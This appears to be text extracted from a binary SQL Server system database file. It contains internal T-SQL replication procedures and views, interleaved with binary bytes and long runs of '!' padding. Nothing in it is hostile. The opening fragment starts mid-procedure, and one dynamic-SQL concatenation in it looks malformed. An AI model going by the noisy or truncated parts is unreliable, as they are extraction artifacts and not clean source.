            select @cmd = @cmd + ' from ' + quotename(@conflict_table) + ' ct , MSmerge_conflicts_info info '
            select @cmd = @cmd + ' where info.origin_datasource = '''
            select @cmd = @cmd + @escaped_origin_datasource 
            select @cmd = @cmd + ''' and ct.rowguidcol = '''
            select @cmd = @cmd + @rowguidstr
            select @cmd = @cmd + ''' and info.rowguidcol = '''
            select @cmd = @cmd + @rowguidstr
            select @cmd = @cmd + 'ct.origin_datasource_id=info.origin_datasource_id '          
            select @cmd = @cmd + ''''

            exec (@cmd)
            if @@ERROR<>0 return (1)

            select @cmd = 'delete from MSmerge_conflicts_info where origin_datasource = ''' + @escaped_origin_datasource + '''
            					and rowguid = ''' + @rowguidstr + ''''
            exec (@cmd)
            if @@ERROR<>0 return (1)

            if LOWER(@drop_table_if_empty collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            begin
                select @cmd = 'if not exists (select 1 from ' 
                select @cmd = @cmd + quotename(@conflict_table) 
                select @cmd = @cmd + ')'
                select @cmd = @cmd + ' update dbo.sysmergearticles set ins_conflict_proc = NULL, conflict_table = NULL where conflict_table = ''' + quotename(@conflict_table) + ''''
                exec (@cmd)
                if @@ERROR<>0 
                    return (1)
                
                select @cmd = 'if not exists (select 1 from ' 
                select @cmd = @cmd + quotename(@conflict_table)
                select @cmd = @cmd + ')'
                select @cmd = @cmd + ' drop table '
                select @cmd = @cmd + quotename(@conflict_table)
                select @cmd = @cmd + ''
                exec (@cmd)
                if @@ERROR<>0 return (1)
            end
        end
    /* Delete conflict from MSmerge_conflicts_info */
    else
        begin
        	if @source_object is NULL
        		begin
        			raiserror(14043, 16, -1, '@source_object', 'sp_deletemergeconflictrow')
        			return (1)
        		end
            select @object = PARSENAME(@source_object, 1)
            select @owner = PARSENAME(@source_object, 2)
            execute @retcode=sys.sp_MStablenickname @owner, @object, @tablenick output
        
            if @tablenick IS NULL or @@ERROR<>0 or @retcode<>0
                BEGIN
                    raiserror (20003, 11, -1, @object)
                    RETURN (1)
                END

			set @tablenickstr = convert(nchar, @tablenick)

			
			select @cmd = 'delete from MSmerge_conflicts_info'
			select @cmd = @cmd + ' where origin_datasource = '''
			select @cmd = @cmd + @escaped_origin_datasource 
			select @cmd = @cmd + ''' and tablenick = '
			select @cmd = @cmd + @tablenickstr
			select @cmd = @cmd + ' and rowguid = '''
			select @cmd = @cmd + @rowguidstr
			select @cmd = @cmd + ''''
			exec (@cmd)
			if @@ERROR<>0 return (1)

		end

`y<
2_
鴫0x" 8create procedure sys.sp_MSaddguidindex
    @publication     sysname,
    @source_owner    sysname,
    @source_table     sysname        
as
    set nocount on
    declare @indexname     nvarchar(270)
    declare @colname    nvarchar(270)
    declare @retcode int
    declare @qualified_name nvarchar(517)
    declare @filegroup  nvarchar(258)
    declare @colid        int
    declare @columns    varbinary(128)
    declare @id            int
    declare @pubid        uniqueidentifier
      declare @mergepublish    int
    declare @column_name sysname

    -- Security check
    exec @retcode = dbo.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

      select @mergepublish = 0x4000
      
    select @pubid = pubid from dbo.sysmergepublications 
        where name=@publication and publisher=publishingservername() and publisher_db=db_name()
    select @qualified_name = QUOTENAME(@source_owner) + '.' + QUOTENAME(@source_table)
    select @id = object_id(@qualified_name)

    select @colid=column_id, @column_name = name from sys.columns where object_id=@id and is_rowguidcol=1

    begin tran
    save tran sp_MSaddguidindex
    exec %%Object(MultiName=@qualified_name).LockMatchID(ID=@id, Exclusive = 1, BindInternal = 0)
    --exec %%Object(MultiName=@qualified_name).LockExclusiveMatchID(ID=@id)
    if @@error<>0
    begin
        rollback tran sp_MSaddguidindex
        commit tran
        return (1)
    end

    exec %%ColumnEx(ObjectID=@id,Name=@column_name).SetMergePublished(Value=1)
    if @@ERROR<>0
    begin
        rollback tran sp_MSaddguidindex
        commit tran
        return (1)
    end
    commit tran

    /* Update the columns bitmaps in all articles at the current publisher that share the same table */
    declare artpubs CURSOR LOCAL FAST_FORWARD FOR 
        select DISTINCT pubid from dbo.sysmergearticles with (rowlock) where objid=@id and pubid
            in ( select pubid from dbo.sysmergepublications where UPPER(publisher) = UPPER(publishingservername()) 
                and publisher_db = db_name())
    FOR READ ONLY
    open artpubs
    fetch next from artpubs into @pubid
     
    while (@@fetch_status <> -1)
        begin
            select @columns=columns from dbo.sysmergearticles with (rowlock) where objid=@id and pubid=@pubid
            exec @retcode = sys.sp_MSsetbit @columns OUTPUT, @colid
            if @retcode<>0 or @@ERROR<>0
                return (1)
            update dbo.sysmergearticles with (rowlock) set columns=@columns where objid=@id and pubid = @pubid
            if @@ERROR<>0
                return (1)
            fetch next from artpubs into @pubid
        end 
    close artpubs
    deallocate artpubs
   
    select @indexname = 'MSmerge_index_' + convert(nvarchar(36), @id)

    select @colname=name from sys.columns where object_id=@id and is_rowguidcol=1
    if (@colname is null)
        return (1)
    
    /* Alter the source table to add a rowguid column index */
    if (not exists (select * from sys.indexes
        where object_id = object_id(@qualified_name) and
            @colname = index_col(@qualified_name, index_id, 1)
            and is_unique = 1 and 
            index_col(@qualified_name, index_id, 2) is null))
    begin
        declare @quoted_rgcol nvarchar(290)
        set @quoted_rgcol= quotename(@colname)

        -- Special case partitioned tables because we can not create a unique index on the rowguid column on such tables without
        -- putting it on a specific filegroup.

        -- Check if the table is partitioned.

        if not exists (select * from (sys.indexes as i INNER JOIN sys.partition_schemes as ps
                                                              ON (i.data_space_id = ps.data_space_id))
                        where (i.object_id = object_id(@qualified_name)) and
                            (i.index_id IN (0,1)))  -- to ensure that we are dealing with tables
        begin
            exec ('create unique index ' + @indexname  + ' on ' + @qualified_name + '(' +  @quoted_rgcol + ')')
            if @@ERROR <>0 return (1) 
        end
        else
        begin
            -- Table is partitioned.
            -- Find a filegroup that is not a destination for a partitioning scheme.
            select top 1 @filegroup = QUOTENAME(fg.name) from sys.filegroups as fg 
            left outer join sys.destination_data_spaces as ds 
                on ds.data_space_id = fg.data_space_id
            where ds.data_space_id is null 
            order by fg.name

            if @filegroup is null
            begin
                select top 1 @filegroup = QUOTENAME(fg.name) from sys.destination_data_spaces as ds 
                join sys.filegroups as fg 
                    on ds.data_space_id = fg.data_space_id
                order by ds.data_space_id
            end

            if @filegroup is null
            begin
                return (1)
            end
            
            exec ('create unique index ' + @indexname  + ' on ' + @qualified_name + '(' +  @quoted_rgcol + ') on ' + @filegroup)
            if @@ERROR <>0 return (1) 
        end
    end
    return (0)
`<=`
4é0 8
create procedure sys.sp_MStablenamefromnick
    @nick int,
    @qualified_tablename nvarchar(517) output,
    @pubid uniqueidentifier = NULL,
    @unqualified_tablename nvarchar(270) output
as
    declare @owner sysname
    declare @table sysname
    if (@pubid is null)
        select @table = name, @owner = SCHEMA_NAME(schema_id) from sys.objects where object_id in (select 
            objid from dbo.sysmergearticles where nickname = @nick)
    else
        select @table = name, @owner = SCHEMA_NAME(schema_id) from sys.objects where object_id in (select 
            objid from dbo.sysmergearticles where nickname = @nick and pubid = @pubid)
            
    select @qualified_tablename = QUOTENAME(@owner) + '.' + QUOTENAME(@table)
    select @unqualified_tablename = QUOTENAME(@table)
    if (@table is NULL) or (@owner is NULL) 
    begin
        raiserror(21124, 16, -1, @nick)
        return (1) 
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<#a
-5;a0}D@ {8create procedure sys.sp_MSmovegenzerochanges
as
    declare @min_changes_per_gen int
    declare @max_changes_per_gen int
    declare @median_changes_per_gen int
    declare @target_gen bigint
    declare @changes_in_target_gen int
    declare @error int
    declare @art_nick int
    declare @processing_order int
    declare @prev_processing_order int
    declare @prev_art_nick int
    declare @gen_change_threshold int
    declare @procfailed bit
    declare @replnick binary(6)
    declare @nickbin varbinary(255)
    declare @retcode int

    select @procfailed = 1
    select @retcode = 0
    
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 goto EXIT_PROC

    -- add a guard byte
    set @nickbin= @replnick + 0xFF

    -- move generation 0 changes to a valid open generation. This code should not usually update many rows.
    -- however this needs to be done before makegeneration
    begin tran
    save tran sp_MSmovegenzerochanges
    
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order, nickname
    while @art_nick is not null
    begin
        -- get the generation change threshold
        select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @art_nick)
        --if @gen_change_threshold = 0
        --    select @gen_change_threshold = 1000

        if (@gen_change_threshold > 0)
        begin
            select @min_changes_per_gen = @gen_change_threshold/10
            if (@min_changes_per_gen = 0)
                select @min_changes_per_gen = 1
            select @max_changes_per_gen = @gen_change_threshold * 2
            select @median_changes_per_gen = @gen_change_threshold
        end
        else
        begin
            select @min_changes_per_gen = NULL
            select @max_changes_per_gen = NULL
            select @median_changes_per_gen = NULL
        end

        -- check if there are any rows in any metadata tables with generation 0. We want to do this check first because
        -- we don't want to create an empty generation to put the generation 0 changes in when there are no changes in gen 0
        if exists (select 1 from dbo.MSmerge_tombstone with (readpast, readcommitted, rowlock) where tablenick = @art_nick and generation = 0) or
           exists (select 1 from dbo.MSmerge_contents with (readpast, readcommitted, rowlock) where tablenick = @art_nick and generation = 0) or
           exists (select 1 from dbo.MSmerge_contents with (readpast, readcommitted, rowlock) where tablenick = @art_nick and partchangegen = 0) or
           exists (select 1 from dbo.MSmerge_past_partition_mappings with (readpast, readcommitted, rowlock) where tablenick = @art_nick and generation = 0) or
           exists (select 1 from dbo.MSmerge_metadataaction_request with (readpast, readcommitted, rowlock) where tablenick = @art_nick and generation = 0)
        begin
            -- update all those generation 0 rows with a valid new generation
            -- there could potentially be more than threshold number of changes in generation 0. But we will not worry about
            -- inserting leveled changes into a new gen. The leveling code after this should take care of leveling this

            -- get a valid gen for the gen 0 rows in
            select @target_gen = NULL
            exec @retcode = sys.sp_MSget_open_gen @art_nick, @min_changes_per_gen, @nickbin, @target_gen output, @changes_in_target_gen output
            if @@error<>0 or @retcode<>0 or @target_gen is NULL
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end
            
            -- in these updates we will use readpast since we don't want makegeneratio to block.
            -- if this round of makegeneration did not update some gen 0 rows it is fine the next round will pick it up.
            update dbo.MSmerge_tombstone with (rowlock, readpast, readcommitted)
                set generation = @target_gen where generation = 0 and tablenick = @art_nick 
            select @error = @@error, @changes_in_target_gen = @changes_in_target_gen + @@rowcount
            if @error<>0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            update dbo.MSmerge_past_partition_mappings with (rowlock, readpast, readcommitted)
                set generation = @target_gen where generation = 0 and tablenick = @art_nick 
            if @@error<>0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            update dbo.MSmerge_contents with (rowlock, readpast, readcommitted)
                set generation = @target_gen where generation = 0 and tablenick = @art_nick 
            select @error = @@error, @changes_in_target_gen = @changes_in_target_gen + @@rowcount
            if @error<>0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            update dbo.MSmerge_contents with (rowlock, readpast, readcommitted)
                set partchangegen = @target_gen where partchangegen = 0 and tablenick = @art_nick 
            if @@error<>0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            update dbo.MSmerge_metadataaction_request with (rowlock, readpast, readcommitted)
                set generation = @target_gen where generation = 0 and tablenick = @art_nick 
            if @@error<>0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            -- now update the changecount of the generation to reflect the rows that have been put into it
            update dbo.MSmerge_genhistory with (rowlock)
            set changecount = @changes_in_target_gen where generation = @target_gen
            if @@error<>0 
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end
        end

        -- continue the artnick loop
        -- set up for next time through the loop
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname > @prev_art_nick)
        or processing_order > @prev_processing_order
        order by processing_order, nickname
        
    end


END_TRAN:
    commit transaction
    select @procfailed = 0

EXIT_RELEASE_TRAN:
    if (@procfailed = 1)
    begin
        rollback tran sp_MSmovegenzerochanges
        commit tran
        return 1
    end

EXIT_PROC:
    if (@procfailed = 1)
        return (1)    
    else
        return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Yb
zc1f0p@ 8
create procedure sys.sp_MSfixlineageversions
as
	declare @lNick int -- length of nickname in bytes
	declare @lVer int -- length of version in bytes
	declare @lEntry int -- length of entry in bytes
	declare @cEntries int -- max number of entries in a lineage
	declare @idx int -- @idx into lineage (0-based)
	declare @maxlinsize int -- maximal lineage size in bytes
	declare @retcode int
	
	set @lNick= col_length('sysmergesubscriptions', 'replnickname')
	set @lVer= 4
	set @lEntry= @lNick + @lVer
	set @cEntries= 24

	-- Security check
	exec @retcode= sys.sp_MSrepl_PAL_rolecheck
	if @retcode <> 0 or @@error <> 0
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end

	if object_id('MSmerge_contents', 'U') is not NULL
	begin
		-- iterate over lineage: starting at the tail, replace first version by the current one if first version is less
		set @idx= @cEntries - 1
		while @idx > 0
		begin
			update dbo.MSmerge_contents set lineage= 
				-- keep nickname of first entry
				substring(lineage, 1, @lNick) +
				-- use version of current entry if it is higher than first version (this is made sure in the where-clause)
				substring(lineage, @idx * @lEntry + @lNick + 1, @lVer) +
				-- keep 2..last entry 
				substring(lineage, 1 + @lEntry, datalength(lineage) - @lEntry)

				where
					-- skip this step right away for shorter lineages
					datalength(lineage) >= @lEntry * (@idx + 1)
					and
					(
						-- the following makes sure that the version we currently look at is higher than the first one
						--
						-- either least significant version byte at current entry is higher than at first entry, the other three are equal
						(substring(lineage, @idx * @lEntry + @lNick + 1, 1) > substring(lineage, @lNick + 1, 1) and
							substring(lineage, @idx * @lEntry + @lNick + 2, 3) = substring(lineage, @lNick + 2, 3))
						or
						-- 2nd least significant version byte at current entry is higher than at first entry, the most and 2nd most significant bytes are equal
						(substring(lineage, @idx * @lEntry + @lNick + 2, 1) > substring(lineage, @lNick + 2, 1) and
							substring(lineage, @idx * @lEntry + @lNick + 3, 2) = substring(lineage, @lNick + 3, 2))
						or
						-- 3rd least significant version byte at current entry is higher than at first entry, the most significant byte is equal
						(substring(lineage, @idx * @lEntry + @lNick + 3, 1) > substring(lineage, @lNick + 3, 1) and
							substring(lineage, @idx * @lEntry + @lNick + 4, 1) = substring(lineage, @lNick + 4, 1))
						or
						-- most significant byte at current entry is higher than at first entry
						substring(lineage, @idx * @lEntry + @lNick + 4, 1) > substring(lineage, @lNick + 4, 1)
					)

			if @@error<>0
			begin
				return (1)
			end

			set @idx= @idx - 1
		end
	end
	if object_id('MSmerge_tombstone', 'U') is not NULL
	begin
		-- iterate over lineage: starting at the tail, replace first version by the current one if first version is less
		set @idx= @cEntries - 1
		while @idx > 0
		begin
				update dbo.MSmerge_tombstone set lineage= 
				-- keep nickname of first entry
				substring(lineage, 1, @lNick) +
				-- use version of current entry if it is higher than first version (this is made sure in the where-clause)
				substring(lineage, @idx * @lEntry + @lNick + 1, @lVer) +
				-- keep 2..last entry 
				substring(lineage, 1 + @lEntry, datalength(lineage) - @lEntry)

				where
					-- skip this step right away for shorter lineages
					datalength(lineage) >= @lEntry * (@idx + 1)
					and
					(
						-- the following makes sure that the version we currently look at is higher than the first one
						--
						-- either least significant version byte at current entry is higher than at first entry, the other three are equal
						(substring(lineage, @idx * @lEntry + @lNick + 1, 1) > substring(lineage, @lNick + 1, 1) and
							substring(lineage, @idx * @lEntry + @lNick + 2, 3) = substring(lineage, @lNick + 2, 3))
						or
						-- 2nd least significant version byte at current entry is higher than at first entry, the most and 2nd most significant bytes are equal
						(substring(lineage, @idx * @lEntry + @lNick + 2, 1) > substring(lineage, @lNick + 2, 1) and
							substring(lineage, @idx * @lEntry + @lNick + 3, 2) = substring(lineage, @lNick + 3, 2))
						or
						-- 3rd least significant version byte at current entry is higher than at first entry, the most significant byte is equal
						(substring(lineage, @idx * @lEntry + @lNick + 3, 1) > substring(lineage, @lNick + 3, 1) and
							substring(lineage, @idx * @lEntry + @lNick + 4, 1) = substring(lineage, @lNick + 4, 1))
						or
						-- most significant byte at current entry is higher than at first entry
						substring(lineage, @idx * @lEntry + @lNick + 4, 1) > substring(lineage, @lNick + 4, 1)
					)

			if @@error<>0
			begin
				return (1)
			end

			set @idx= @idx - 1
		end
	end
	return (0)
0@ 8
-- Modify temp table. No security check needed.
create procedure sys.sp_MSexpandnotbelongs
    @pubid      uniqueidentifier
AS
    declare @filterid       int
    declare @retval         int
    declare @expand_proc    sysname
    
    /* We iterate over the join filters */
    --select @filterid = min(flag) from #notbelong
    select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1 and
            exists (select * from #notbelong where tablenick = join_nickname and flag < join_filterid)
    while (@filterid is not null)
        begin
        select @expand_proc = expand_proc from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1 and
                join_filterid = @filterid
        exec @retval = @expand_proc @belong = 0
        if @@error<>0 or @retval <> 0 return (1)
        select @filterid = min(join_filterid) from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1 and
            exists (select * from #notbelong where tablenick = join_nickname and flag < join_filterid)
        end


!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`I<?c
\<0p 8create procedure sys.sp_MScleanupdynsnapshotvws
as
begin
    set nocount on    
    declare @retcode int
    select @retcode = 0
    
    -- Security check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error<>0 or @retcode<>0
    begin
        return 1
    end

    -- Do nothing if the MSdynamicsnapshotviews table does not exist
    if exists (select * from sys.objects where name = N'MSdynamicsnapshotviews')
    begin
        declare @dynamic_snapshot_view_name sysname
        declare @drop_view_command nvarchar(4000) 

        declare hViews cursor local fast_forward for
         select dynamic_snapshot_view_name
           from MSdynamicsnapshotviews
        if @@error<>0
        begin
            goto Failure
        end
        
        open hViews
        if @@error<>0
        begin
           goto Failure
        end
    
        fetch hViews into @dynamic_snapshot_view_name
        while (@@fetch_status<>-1)
        begin
            select @drop_view_command = 'drop view ' + 
                quotename(@dynamic_snapshot_view_name)
            exec(@drop_view_command)
            if @@error<>0
            begin
                select @retcode = 1 -- Just to indicate that a failure occurred
            end        
            delete from MSdynamicsnapshotviews
             where dynamic_snapshot_view_name = @dynamic_snapshot_view_name
            if @@error<>0
            begin
                select @retcode = 1 -- Just to indicate that a failure occurred
            end        
            fetch hViews into @dynamic_snapshot_view_name
        end
    end
    return @retcode
Failure:
    return 1
end
0R 8 
-- add it
create view sys.dm_pdw_nodes_db_task_space_usage as
select *, convert(int, null) pdw_node_id from sys.dm_db_task_space_usage
0_ 8
--
-- Name: sp_MSgettransarticlecolumnlist
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSgettransarticlecolumnlist
(
    @article_id int,
    @include_timestamp bit,
    @column_list nvarchar(max) output
)
as
begin
    set nocount on
    declare @column_name sysname
    declare @separator nvarchar(5)

    declare #hc cursor local fast_forward for
        select sc.name
          from sys.columns sc
    inner join dbo.sysarticles art
            on sc.object_id = art.objid
         where art.artid = @article_id
           and (exists (select * from dbo.sysarticlecolumns sac
                         where sac.artid = @article_id
                           and sac.colid = sc.column_id)
                or
                (@include_timestamp = 1 and sc.system_type_id = 189))
         order by sc.column_id asc
    
    set @separator = N''

    if @column_list is null
    begin
        set @column_list = N''
    end

    set @column_list = ltrim(@column_list)
    open #hc
    fetch #hc into @column_name
    while (@@fetch_status <> -1)
    begin
        set @column_list = @column_list + @separator + quotename(@column_name)
        set @separator = N','

        fetch #hc into @column_name
    end     
    close #hc
    deallocate #hc
    return 0  

end
0D5! .8create function sys.fn_MSrepllinkname 
(
    @prefix nvarchar(10)
    ,@publisher sysname
    ,@publisherdb sysname
    ,@publication sysname
    ,@subscriberdb sysname
)
returns sysname
as
begin
    declare @linkname sysname
    --
    -- use checksum
    --
    select @linkname = @prefix 
        + N'_' + upper(substring(@publisher, 1, 10)) + cast(checksum(@publisher) as nvarchar(20)) 
        + N'_' + upper(substring(@publisherdb, 1, 10)) + cast(checksum(@publisherdb) as nvarchar(20)) 
        + N'_' + upper(substring(@publication, 1, 10)) + cast(checksum(@publication) as nvarchar(20)) 
        + N'_' + upper(substring(@subscriberdb, 1, 10)) + cast(checksum(@subscriberdb) as nvarchar(20)) 
    --
    -- all done
    --
    return @linkname
end
0" 8CREATE VIEW sys.dm_db_mirroring_auto_page_repair AS
	SELECT d.database_id AS database_id,
		p.file_id AS file_id,
		p.page_id AS page_id,
		p.error_type AS error_type,
		p.page_status AS page_status,
		p.modification_time AS modification_time
	FROM sys.databases d CROSS APPLY OpenRowset(TABLE DBMIRROR_AUTO_PAGE_REPAIR, d.database_id) p
	WHERE d.database_id < 0x7fff
		AND has_access('DB', d.database_id) = 1
0Jz7@ 8create procedure sys.sp_MSscript_compensating_send (
    @pubid int,
    @artid int,
    @cmdstate int = 0,
    @setprefix bit = 1)
AS
BEGIN
    declare @cmd nvarchar(4000)
    
    select @cmd = N'
            ' + N'--
            ' + N'-- sending of compensating command
            ' + N'--'
    insert into #proctext(procedure_text) values( @cmd )

    select @cmd = N'
            exec @retcode = sys.sp_MSadd_compensating_cmd
                @orig_srv = @orig_server
                ,@orig_db = @orig_db
                ,@command = @cmd
                ,@article_id = ' + CAST(@artid as nvarchar(4)) + N'
                ,@publication_id = ' + CAST(@pubid as nvarchar(4)) + N'
                ,@cmdstate = ' + CAST(@cmdstate as nvarchar(4)) + N'
                ,@mode = 0
                ,@setprefix = ' + CAST(@setprefix as nvarchar(4))
    insert into #proctext(procedure_text) values( @cmd )

    select @cmd = N'
            if (@@error != 0 or @retcode != 0)
                return -1'
    insert into #proctext(procedure_text) values( @cmd )

    --
    -- all done
    --
    return 0    
END
0$9@ 8create procedure sys.sp_MSchecksharedagentforpublication 
(
    @publisher_id int
    ,@publisher_db sysname
    ,@publication sysname
)
as
begin
    set nocount on
    declare @retcode int
                ,@publication_id int
                ,@independent_agent int

    -- Get the publication information 
    select @publication_id = publication_id
            ,@independent_agent = independent_agent 
    from dbo.MSpublications 
    where publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    --
    -- Perform PAL check with retrieved @publication_id
    --
    exec @retcode = sys.sp_MScheck_pull_access
                        @agent_type = 0, -- distrib agent
                        @publication_id = @publication_id
    if @@error <> 0 or @retcode <> 0
    begin    
        raiserror (15247, 16, -1)
        return (1)
    end
    --
    -- return the resultset
    --
    select 'runassharedagent' = case when (@independent_agent = 0) then 1 else 0 end
    --
    -- all done
    --
    return 0
end
0 \8Yz[h>
8^{!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d
U%`f
<d
